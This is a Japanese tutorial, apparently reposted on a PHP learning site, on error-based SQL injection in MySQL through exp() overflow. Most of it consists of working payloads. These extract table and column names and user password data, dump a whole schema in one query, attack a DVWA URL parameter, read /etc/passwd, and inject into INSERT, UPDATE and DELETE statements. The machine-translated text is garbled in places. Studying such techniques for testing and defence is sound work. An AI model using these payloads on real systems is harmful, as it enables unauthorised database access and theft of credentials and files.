SQLエラーインジェクションにexpを使用する方法

WBOY
リリース: 2023-05-12 10:16:12
転載
1688 人が閲覧しました

0x01 はじめに概要

編集者は、MySQL で別の Double データ オーバーフローを発見しました。 MySQL で関数を取得する場合、エディターは数学関数に関心があり、値を保存するためのいくつかのデータ型も含まれている必要があります。そこでエディターは、どの関数がオーバーフロー エラーを引き起こすかを確認するテストを実行しました。その後、編集者は、709 より大きい値が渡されると、関数 exp() がオーバーフロー エラーを引き起こすことを発見しました。

SQLエラーインジェクションにexpを使用する方法

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
ログイン後にコピー

MySQL では、exp、ln、log の関数は逆です。簡単に紹介すると、log と ln はどちらも e を底とする対数を返します (式を参照)。

SQLエラーインジェクションにexpを使用する方法
SQLエラーインジェクションにexpを使用する方法#
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
ログイン後にコピー
指数関数は対数関数の逆関数であり、exp() は e を底とする対数関数です。例:

SQLエラーインジェクションにexpを使用する方法
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)
ログイン後にコピー

0x02 インジェクション

インジェクションに関しては、否定クエリを使用して「DOUBLE value」を発生させます。範囲外です」というエラーが発生します。著者の以前のブログ投稿で述べたように、0 をビットごとに反転すると「18446744073709551615」が返されます。また、関数は実行に成功すると 0 を返すため、正常に実行された関数を反転すると、*** unsigned 値が返されます。BIGINT 値。

<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
ログイン後にコピー
サブクエリとビット単位の否定を使用して DOUBLE オーバーフロー エラーを作成し、これを使用してデータを挿入します。

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
ログイン後にコピー

0x03 データの挿入

テーブル名取得:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
ログイン後にコピー
列名取得:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
ログイン後にコピー
データ取得:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
ログイン後にコピー

0x04 Overnight

このクエリでは、現在のコンテキストからすべてのテーブルと列をダンプできます。データベース全体をダンプすることもできますが、エラーを介して抽出しているため、返される結果はほとんどありません。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
ログイン後にコピー
SQLエラーインジェクションにexpを使用する方法

0x05 ファイルの読み取り

load_file() 関数を使用してファイルを読み取ることができますが、作成者は、は 13 行の制限ですが、このステートメントは BIGINT オーバーフロー インジェクションでも使用できます。

select exp(~(select*from(select load_file('/etc/passwd'))a));
ログイン後にコピー
SQLエラーインジェクションにexpを使用する方法
このエラーでは 0 のみが書き込まれるため、ファイルに書き込むことができないことに注意してください。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0
ログイン後にコピー

0x06 Insert でのインジェクション

手順に従ってください

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
ログイン後にコピー
DIOS クエリは、すべての挿入、更新、および削除ステートメントにも使用できます。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'
ログイン後にコピー

0x07 Update でのインジェクション

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
ログイン後にコピー

0x08 Delete でのインジェクション

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
ログイン後にコピー
前の BIGINT インジェクションと同じ、exp インジェクションMySQL5.5.5以降にも適用されます。以前のバージョンでは、この状況について「沈黙」していました。

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)
ログイン後にコピー
この種のエラーを生成する関数が他にもある可能性があります。

以上がSQLエラーインジェクションにexpを使用する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:yisu.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!